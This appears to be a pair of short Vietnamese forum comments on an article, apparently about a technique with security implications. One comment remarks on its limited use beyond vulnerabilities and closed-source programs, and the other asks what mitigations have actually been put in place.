    Ngoài các lỗ hổng bảo mật, công dụng duy nhất có vẻ hữu ích là cho chương trình mã nguồn đóng

  • Có thể tôi đã bỏ sót, và thú thật phần sau tôi chỉ đọc lướt, nhưng dường như tác giả hoàn toàn không đề cập thực tế đã có biện pháp giảm thiểu nào được thực hiện. Tôi muốn nghe thêm về phần đó